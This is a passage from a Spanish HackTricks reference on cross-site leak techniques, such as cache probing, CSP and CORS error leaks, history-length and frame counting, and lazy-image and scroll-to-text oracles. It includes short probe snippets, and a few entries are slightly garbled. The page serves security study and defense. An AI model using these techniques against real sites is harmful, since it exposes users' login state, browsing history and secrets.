- Ejemplo de Código: https://xsinator.com/testing.html#CORS%20Error%20Leak
Esta técnica permite a un atacante extraer el destino de la redirección de un sitio de origen cruzado explotando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una solicitud habilitada para CORS a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la URL completa del destino de la redirección se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier parámetro de consulta sensible que pueda contener.
Error de SRI
- Métodos de Inclusión: Fetch API
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.3)
- Resumen: En Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
- Ejemplo de Código: https://xsinator.com/testing.html#SRI%20Error%20Leak
Un atacante puede explotar los mensajes de error detallados para deducir el tamaño de las respuestas de origen cruzado. Esto es posible debido al mecanismo de Integridad de Subrecursos (SRI), que utiliza el atributo de integridad para validar que los recursos recuperados, a menudo de CDNs, no hayan sido manipulados. Para que SRI funcione en recursos de origen cruzado, estos deben estar habilitados para CORS; de lo contrario, no están sujetos a comprobaciones de integridad. En Afirmaciones de Seguridad (SA), al igual que el error de CORS XS-Leak, un mensaje de error puede ser capturado después de que falle una solicitud fetch con un atributo de integridad. Los atacantes pueden provocar deliberadamente este error asignando un valor de hash falso al atributo de integridad de cualquier solicitud. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta fuga de información permite a un atacante discernir variaciones en el tamaño de la respuesta, allanando el camino para ataques sofisticados de XS-Leak.
Violación/Detección de CSP
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Código de Estado
- Más información: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Resumen: Al permitir solo el sitio de la víctima en la CSP, si intentamos acceder y se redirige a un dominio diferente, la CSP desencadenará un error detectable.
- Ejemplo de Código: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
Un XS-Leak puede usar la CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirección, pero además, se filtra el dominio del destino de la redirección. La idea básica de este ataque es permitir el dominio objetivo en el sitio del atacante. Una vez que se emite una solicitud al dominio objetivo, este se redirige a un dominio de origen cruzado. La CSP bloquea el acceso a él y crea un informe de violación utilizado como técnica de fuga. Dependiendo del navegador, este informe puede filtrar la ubicación objetivo de la redirección.
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.
Caché
- Métodos de Inclusión: Marcos, Pop-ups
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Resumen: Borra el archivo de la caché. Abre la página objetivo, verifica si el archivo está presente en la caché.
- Ejemplo de Código:
Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha solicitado un archivo específico.
Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes invalidar el recurso (para que ya no esté en caché si lo estaba, ver más información enlaces), realizar una solicitud que podría cargar ese recurso e intentar cargar el recurso con una solicitud incorrecta (por ejemplo, usando un encabezado de referente demasiado largo). Si la carga del recurso no desencadena ningún error, es porque estaba en caché.
Directiva CSP
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Encabezado
- Más información: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Resumen: Las directivas de encabezado CSP pueden ser sondeadas utilizando el atributo de iframe CSP, revelando detalles de la política.
- Ejemplo de Código: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Una característica novedosa en Google Chrome (GC) permite a las páginas web proponer una Política de Seguridad de Contenido (CSP) configurando un atributo en un elemento iframe, con directivas de política transmitidas junto con la solicitud HTTP. Normalmente, el contenido incrustado debe autorizar esto a través de un encabezado HTTP, o se muestra una página de error. Sin embargo, si el iframe ya está gobernado por una CSP y la política recién propuesta no es más restrictiva, la página se cargará normalmente. Este mecanismo abre un camino para que un atacante detecte directivas CSP específicas de una página de origen cruzado identificando la página de error. Aunque esta vulnerabilidad se marcó como solucionada, nuestros hallazgos revelan una nueva técnica de fuga capaz de detectar la página de error, lo que sugiere que el problema subyacente nunca se abordó completamente.
CORP
- Métodos de Inclusión: Fetch API
- Diferencia Detectable: Encabezado
- Más información: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Resumen: Los recursos asegurados con Cross-Origin Resource Policy (CORP) lanzarán un error al ser recuperados desde un origen no permitido.
- Ejemplo de Código: https://xsinator.com/testing.html#CORP%20Leak
El encabezado CORP es una característica de seguridad de plataforma web relativamente nueva que cuando se establece bloquea las solicitudes de origen cruzado no-cors al recurso dado. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP lanzará un error al ser recuperado.
CORB
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Encabezados
- Más información: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Resumen: CORB puede permitir a los atacantes detectar cuándo está presente el encabezado
nosniff
en la solicitud. - Ejemplo de Código: https://xsinator.com/testing.html#CORB%20Leak
Consulta el enlace para obtener más información sobre el ataque.
Error CORS en la mala configuración de Reflexión de Origen
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Encabezados
- Más información: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Resumen: Si el encabezado de Origen se refleja en el encabezado
Access-Control-Allow-Origin
, es posible verificar si un recurso ya está en la caché. - Ejemplo de Código: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
En caso de que el encabezado de Origen se esté reflejando en el encabezado Access-Control-Allow-Origin
, un atacante puede abusar de este comportamiento para intentar obtener el recurso en modo CORS. Si no se produce un error, significa que se recuperó correctamente del sitio web; si se produce un error, es porque se accedió desde la caché (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el del atacante).
Ten en cuenta que si el origen no se refleja pero se utiliza un comodín (Access-Control-Allow-Origin: *
), esto no funcionará.
Técnica de Atributos Legibles
Redirección Fetch
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Código de Estado
- Más información: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Resumen: GC y SA permiten verificar el tipo de respuesta (redirección opaca) después de que se haya completado la redirección.
- Ejemplo de Código: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Al enviar una solicitud utilizando la API Fetch con redirect: "manual"
y otros parámetros, es posible leer el atributo response.type
y si es igual a opaqueredirect
, entonces la respuesta fue una redirección.
COOP
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Resumen: Las páginas protegidas por la Política de Apertura entre Orígenes (COOP) evitan el acceso desde interacciones entre orígenes.
- Ejemplo de Código: https://xsinator.com/testing.html#COOP%20Leak
Un atacante es capaz de deducir la presencia del encabezado de Política de Apertura entre Orígenes (COOP) en una respuesta HTTP entre orígenes. COOP es utilizada por aplicaciones web para evitar que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado se puede discernir intentando acceder a la referencia contentWindow. En escenarios donde COOP se aplica condicionalmente, la propiedad opener
se convierte en un indicador revelador: es indefinida cuando COOP está activa, y definida en su ausencia.
Longitud Máxima de URL - Lado del Servidor
- Métodos de Inclusión: API Fetch, Elementos HTML
- Diferencia Detectable: Código de Estado / Contenido
- Más información: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Resumen: Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande y el servidor responde con un error, generando una alerta.
- Ejemplo de Código: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Si una redirección del lado del servidor utiliza entrada de usuario dentro de la redirección y datos adicionales, es posible detectar este comportamiento porque generalmente los servidores tienen un límite de longitud de solicitud. Si los datos del usuario tienen esa longitud - 1, porque la redirección está utilizando esos datos y agregando algo extra, se generará un error detectable a través de Eventos de Error.
Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque al establecer suficientes cookies (bomba de cookies) para que con el tamaño de respuesta aumentado de la respuesta correcta se genere un error. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, <script>
enviará automáticamente las cookies (así que puedes verificar los errores).
Un ejemplo de bomba de cookies + XS-Search se puede encontrar en la solución prevista de este informe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
o estar en el mismo contexto generalmente es necesario para este tipo de ataque.
Longitud Máxima de URL - Lado del Cliente
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Código de Estado / Contenido
- Más información: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Resumen: Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande para una solicitud, de modo que se pueda notar una diferencia.
- Ejemplo de Código: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Según la documentación de Chromium, la longitud máxima de URL de Chrome es de 2MB.
En general, la plataforma web no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). Chrome limita las URL a una longitud máxima de 2MB por razones prácticas y para evitar problemas de denegación de servicio en la comunicación entre procesos.
Por lo tanto, si la URL de redirección respondida es más grande en uno de los casos, es posible hacer que redirija con una URL mayor a 2MB para alcanzar el límite de longitud. Cuando esto sucede, Chrome muestra una página de about:blank#blocked
.
La diferencia notable es que si la redirección se completó, window.origin
arroja un error porque un origen cruzado no puede acceder a esa información. Sin embargo, si se alcanzó el límite y la página cargada fue about:blank#blocked
, el origin
de la ventana sigue siendo el del padre, que es una información accesible.
Toda la información adicional necesaria para alcanzar los 2MB se puede agregar a través de un hash en la URL inicial para que se utilice en la redirección.
{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
Máximo de Redirecciones
- Métodos de Inclusión: Fetch API, Frames
- Diferencia Detectable: Código de Estado
- Más información: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Resumen: Utilizar el límite de redirecciones del navegador para verificar la ocurrencia de redirecciones de URL.
- Ejemplo de Código: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Si el máximo número de redirecciones que puede seguir un navegador es 20, un atacante podría intentar cargar su página con 19 redirecciones y finalmente enviar a la víctima a la página probada. Si se desencadena un error, entonces la página estaba intentando redirigir a la víctima.
Longitud del Historial
- Métodos de Inclusión: Frames, Pop-ups
- Diferencia Detectable: Redirecciones
- Más información: https://xsleaks.dev/docs/attacks/navigations/
- Resumen: El código JavaScript manipula el historial del navegador y puede ser accedido mediante la propiedad length.
- Ejemplo de Código: https://xsinator.com/testing.html#History%20Length%20Leak
La API de Historial permite que el código JavaScript manipule el historial del navegador, el cual guarda las páginas visitadas por un usuario. Un atacante puede usar la propiedad length como método de inclusión: para detectar la navegación JavaScript y HTML.
Al verificar history.length
, haciendo que un usuario navegue a una página, cambiarla de nuevo al mismo origen y verificar el nuevo valor de history.length
.
Longitud del Historial con la misma URL
- Métodos de Inclusión: Frames, Pop-ups
- Diferencia Detectable: Si la URL es la misma que la supuesta
- Resumen: Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
- Ejemplo de Código: A continuación
Un atacante podría usar código JavaScript para manipular la ubicación del marco/ventana emergente a una supuesta y cambiarla inmediatamente a about:blank
. Si la longitud del historial aumentaba, significaba que la URL era correcta y había tenido tiempo de aumentar porque la URL no se recarga si es la misma. Si no aumentaba, significaba que intentó cargar la URL supuesta pero como inmediatamente después cargamos about:blank
, la longitud del historial nunca aumentó al cargar la URL supuesta.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
Conteo de Frames
- Métodos de Inclusión: Frames, Pop-ups
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/frame-counting/
- Resumen: Evaluar la cantidad de elementos iframe inspeccionando la propiedad
window.length
. - Ejemplo de Código: https://xsinator.com/testing.html#Frame%20Count%20Leak
Contar el número de frames en una web abierta mediante iframe
o window.open
puede ayudar a identificar el estado del usuario en esa página.
Además, si la página siempre tiene el mismo número de frames, verificar continuamente el número de frames puede ayudar a identificar un patrón que podría filtrar información.
Un ejemplo de esta técnica es que en Chrome, un PDF puede ser detectado con el conteo de frames porque se utiliza internamente un embed
. Existen Parámetros de URL Abierta que permiten cierto control sobre el contenido como zoom
, view
, page
, toolbar
, donde esta técnica podría ser interesante.
HTMLElements
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/element-leaks/
- Resumen: Leer el valor filtrado para distinguir entre 2 posibles estados
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
La filtración de información a través de elementos HTML es una preocupación en la seguridad web, especialmente cuando se generan archivos de medios dinámicos basados en información del usuario, o cuando se agregan marcas de agua, alterando el tamaño de los medios. Esto puede ser explotado por atacantes para diferenciar entre posibles estados al analizar la información expuesta por ciertos elementos HTML.
Información Expuesta por Elementos HTML
- HTMLMediaElement: Este elemento revela los tiempos de
duración
ybuffered
de los medios, que se pueden acceder a través de su API. Leer más sobre HTMLMediaElement - HTMLVideoElement: Expone
videoHeight
yvideoWidth
. En algunos navegadores, propiedades adicionales comowebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
ywebkitDecodedFrameCount
están disponibles, ofreciendo información más detallada sobre el contenido multimedia. Leer más sobre HTMLVideoElement - getVideoPlaybackQuality(): Esta función proporciona detalles sobre la calidad de reproducción de video, incluido
totalVideoFrames
, que puede indicar la cantidad de datos de video procesados. Leer más sobre getVideoPlaybackQuality() - HTMLImageElement: Este elemento filtra la
altura
yancho
de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la funciónimage.decode()
será rechazada, indicando la falla al cargar la imagen correctamente. Leer más sobre HTMLImageElement
Propiedad CSS
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Resumen: Identificar variaciones en el estilo del sitio web que se correlacionen con el estado del usuario.
- Ejemplo de Código: https://xsinator.com/testing.html#CSS%20Property%20Leak
Las aplicaciones web pueden cambiar el estilo del sitio web dependiendo del estado del usuario. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el elemento de enlace HTML, y las reglas se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede detectar estas diferencias dependiendo del estado del usuario.
Como técnica de filtración, el atacante puede usar el método window.getComputedStyle
para leer CSS propiedades de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
Historial CSS
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Resumen: Detectar si se aplica el estilo
:visited
a una URL indicando que ya fue visitada - Ejemplo de Código: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} Según esto, esto no funciona en Chrome sin cabeza. {% endhint %}
El selector CSS :visited
se utiliza para aplicar estilos diferentes a las URL si han sido visitadas previamente por el usuario. En el pasado, el método getComputedStyle()
se podía emplear para identificar estas diferencias de estilo. Sin embargo, los navegadores modernos han implementado medidas de seguridad para evitar que este método revele el estado de un enlace. Estas medidas incluyen devolver siempre el estilo calculado como si el enlace fuera visitado y restringir los estilos que se pueden aplicar con el selector :visited
.
A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de forma indirecta. Una técnica implica engañar al usuario para que interactúe con un área afectada por CSS, específicamente utilizando la propiedad mix-blend-mode
. Esta propiedad permite la mezcla de elementos con su fondo, revelando potencialmente el estado visitado según la interacción del usuario.
Además, la detección se puede lograr sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo mensurable en el renderizado. Se mencionó una prueba de concepto (PoC) en un informe de error de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo así que el estado visitado sea detectable mediante análisis de tiempo.
Para más detalles sobre estas propiedades y métodos, visita sus páginas de documentación:
:visited
: Documentación de MDNgetComputedStyle()
: Documentación de MDNmix-blend-mode
: Documentación de MDN
Contenido Fuga de X-Frame de ContentDocument
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Encabezados
- Más información: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Resumen: En Google Chrome, se muestra una página de error dedicada cuando se bloquea una página para ser incrustada en un sitio de origen cruzado debido a restricciones de X-Frame-Options.
- Ejemplo de Código: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
En Chrome, si una página con el encabezado X-Frame-Options
establecido en "deny" o "same-origin" se incrusta como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de null
) para la propiedad contentDocument
de este objeto, a diferencia de los iframes u otros navegadores. Los atacantes podrían explotar esto al detectar el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de los encabezados de seguridad son cruciales para prevenir tales fugas.
Detección de Descargas
- Métodos de Inclusión: Marcos, Pop-ups
- Diferencia Detectable: Encabezados
- Más información: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Resumen: Un atacante puede discernir descargas de archivos aprovechando iframes; la accesibilidad continua del iframe implica una descarga de archivo exitosa.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/navigations/#download-bar
El encabezado Content-Disposition
, específicamente Content-Disposition: attachment
, instruye al navegador a descargar contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En los navegadores basados en Chromium, existen algunas técnicas para detectar este comportamiento de descarga:
- Monitoreo de la Barra de Descarga:
- Cuando se descarga un archivo en los navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
- Al monitorear los cambios en la altura de la ventana, los atacantes pueden inferir la aparición de la barra de descarga, lo que sugiere que se ha iniciado una descarga.
- Navegación de Descarga con Iframes:
- Cuando una página desencadena una descarga de archivo usando el encabezado
Content-Disposition: attachment
, no provoca un evento de navegación. - Cargando el contenido en un iframe y monitoreando los eventos de navegación, es posible verificar si la disposición del contenido provoca una descarga de archivo (sin navegación) o no.
- Navegación de Descarga sin Iframes:
- Similar a la técnica de iframe, este método implica usar
window.open
en lugar de un iframe. - Monitorear los eventos de navegación en la ventana recién abierta puede revelar si se desencadenó una descarga de archivo (sin navegación) o si el contenido se muestra en línea (ocurre la navegación).
En escenarios donde solo los usuarios registrados pueden desencadenar tales descargas, estas técnicas se pueden utilizar para inferir indirectamente el estado de autenticación del usuario basado en la respuesta del navegador a la solicitud de descarga.
Bypass de Caché HTTP Particionada
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Temporización
- Más información: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Resumen: Un atacante puede discernir descargas de archivos aprovechando iframes; la accesibilidad continua del iframe implica una descarga de archivo exitosa.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (de https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
Por qué esta técnica es interesante: Chrome ahora tiene particionamiento de caché, y la clave de caché de la página recién abierta es: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)
, pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, la clave de caché es diferente, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: Obtención de seguridad y privacidad mediante la partición de la caché
(Comentario de aquí)
{% endhint %}
Si un sitio ejemplo.com
incluye un recurso de *.ejemplo.com/recurso
entonces ese recurso tendrá la misma clave de caché que si el recurso fuera solicitado directamente a través de una navegación de nivel superior. Esto se debe a que la clave de caché está compuesta por eTLD+1 de nivel superior y eTLD+1 del marco.
Dado que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20ms (por ejemplo) después. Si el origen cambió después de la parada, significa que el recurso estaba en caché.
O simplemente enviar algún fetch a la página potencialmente en caché y medir el tiempo que tarda.
Redirección Manual
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Redirecciones
- Más información: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Resumen: Es posible averiguar si una respuesta a una solicitud de fetch es una redirección
- Ejemplo de Código:
Fetch con AbortController
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Temporización
- Más información: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Resumen: Es posible intentar cargar un recurso y abortarlo antes de que se cargue. Dependiendo de si se desencadena un error, el recurso estaba o no en caché.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Usa fetch y setTimeout con un AbortController para detectar si el recurso está en caché y para eliminar un recurso específico de la caché del navegador. Además, el proceso ocurre sin almacenar nuevo contenido en caché.
Contaminación de Script
- Métodos de Inclusión: Elementos HTML (script)
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Resumen: Es posible sobrescribir funciones integradas y leer sus argumentos incluso desde un script de origen cruzado (que no se puede leer directamente), lo que podría filtrar información valiosa.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Trabajadores de Servicio
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Resumen: Medir el tiempo de ejecución de una web utilizando trabajadores de servicio.
- Ejemplo de Código:
En el escenario dado, el atacante toma la iniciativa de registrar un trabajador de servicio dentro de uno de sus dominios, específicamente "attacker.com". A continuación, el atacante abre una nueva ventana en el sitio web objetivo desde el documento principal e instruye al trabajador de servicio para iniciar un temporizador. A medida que la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso anterior a una página gestionada por el trabajador de servicio.
Al llegar la solicitud iniciada en el paso anterior, el trabajador de servicio responde con un código de estado 204 (Sin contenido), terminando efectivamente el proceso de navegación. En este punto, el trabajador de servicio captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición se ve influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.
{% hint style="warning" %} En un tiempo de ejecución, es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}
Temporización de Fetch
- Métodos de Inclusión: API de Fetch
- Diferencia Detectable: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Resumen: Utilizar performance.now() para medir el tiempo que tarda en realizarse una solicitud. Se pueden utilizar otros relojes.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Temporización entre Ventanas
- Métodos de Inclusión: Pop-ups
- Diferencia Detectable: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Resumen: Utilizar performance.now() para medir el tiempo que tarda en realizarse una solicitud utilizando
window.open
. Se pueden utilizar otros relojes. - Ejemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Con HTML o Re Inyección
Aquí puedes encontrar técnicas para exfiltrar información desde un HTML de origen cruzado inyectando contenido HTML. Estas técnicas son interesantes en casos donde por alguna razón puedes inyectar HTML pero no puedes inyectar código JS.
Marcado Colgante
{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}
Carga Perezosa de Imágenes
Si necesitas exfiltrar contenido y puedes agregar HTML antes del secreto debes revisar las técnicas comunes de marcado colgante.
Sin embargo, si por alguna razón DEBES hacerlo carácter por carácter (quizás la comunicación es a través de un acierto en caché) puedes usar este truco.
Las imágenes en HTML tienen un atributo "loading" cuyo valor puede ser "lazy". En ese caso, la imagen se cargará cuando se vea y no mientras se carga la página:
<img src=/something loading=lazy >
Por lo tanto, lo que puedes hacer es agregar una gran cantidad de caracteres basura (por ejemplo, miles de "W") para llenar la página web antes del secreto o agregar algo como <br><canvas height="1850px"></canvas><br>.
Entonces, si por ejemplo nuestra inyección aparece antes de la bandera, la imagen se cargará, pero si aparece después de la bandera, la bandera + la basura evitarán que se cargue (tendrás que jugar con la cantidad de basura a colocar). Esto es lo que sucedió en este writeup.
Otra opción sería usar el scroll-to-text-fragment si está permitido:
Scroll-to-text-fragment
Sin embargo, haces que el bot acceda a la página con algo como
#:~:text=SECR
Entonces la página web será algo como: https://victima.com/post.html#:~:text=SECR
Donde post.html contiene los caracteres basura del atacante y la carga perezosa de la imagen, luego se agrega el secreto del bot.
Lo que este texto hará es hacer que el bot acceda a cualquier texto en la página que contenga el texto SECR
. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así que ahí tienes tu oráculo para filtrar el secreto carácter por carácter.
Algunos ejemplos de código para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Tiempo de Carga Perezosa de Imágenes Basado en el Tiempo
Si no es posible cargar una imagen externa que podría indicar al atacante que la imagen se cargó, otra opción sería intentar adivinar el carácter varias veces y medir eso. Si la imagen se carga, todas las solicitudes tomarían más tiempo que si la imagen no se carga. Esto es lo que se usó en la solución de este informe resumido aquí:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
Si se utiliza jQuery(location.hash)
, es posible averiguar a través del tiempo si existe algún contenido HTML, esto se debe a que si el selector main[id='site-main']
no coincide, no es necesario verificar el resto de los selectores:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
Inyección de CSS
{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}
Defensas
Hay mitigaciones recomendadas en https://xsinator.com/paper.pdf también en cada sección del wiki https://xsleaks.dev/. Echa un vistazo allí para obtener más información sobre cómo protegerse contra estas técnicas.
Referencias
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}